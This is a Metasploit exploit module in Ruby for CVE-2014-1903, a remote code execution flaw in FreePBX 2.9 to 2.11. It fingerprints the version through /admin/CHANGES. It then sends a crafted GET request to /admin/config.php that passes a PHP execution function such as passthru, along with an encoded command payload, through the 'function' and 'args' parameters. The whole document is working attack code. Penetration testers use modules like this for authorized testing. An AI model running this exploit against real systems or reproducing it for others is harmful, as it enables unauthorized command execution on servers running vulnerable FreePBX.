##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "FreePBX config.php Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
          It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
          parameters "function" and "args".
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'i-Hmx', # Vulnerability discovery
          '0x00string', # PoC
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2014-1903'],
          ['OSVDB', '103240'],
          ['EDB', '32214'],
          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
        ],
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['FreePBX', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2014-03-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
      ]
    )
  end

  def check
    vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")
    })

    if res and res.code == 200 and res.body =~ /^(.*)$/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end

    vprint_status("Version #{version} detected")

    if version =~ /2\.(9|10|11)\.0/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    rand_data = rand_text_alpha_lower(rand(10) + 5)

    print_status("Sending payload")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "admin", "config.php"),
      'vars_get' => {
        "display" => rand_data,
        "handler" => "api",
        "function" => datastore['PHPFUNC'],
        "args" => payload.encoded
      }
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res and res.code != 200
      print_error("Unexpected response, exploit probably failed!")
    end
  end
end
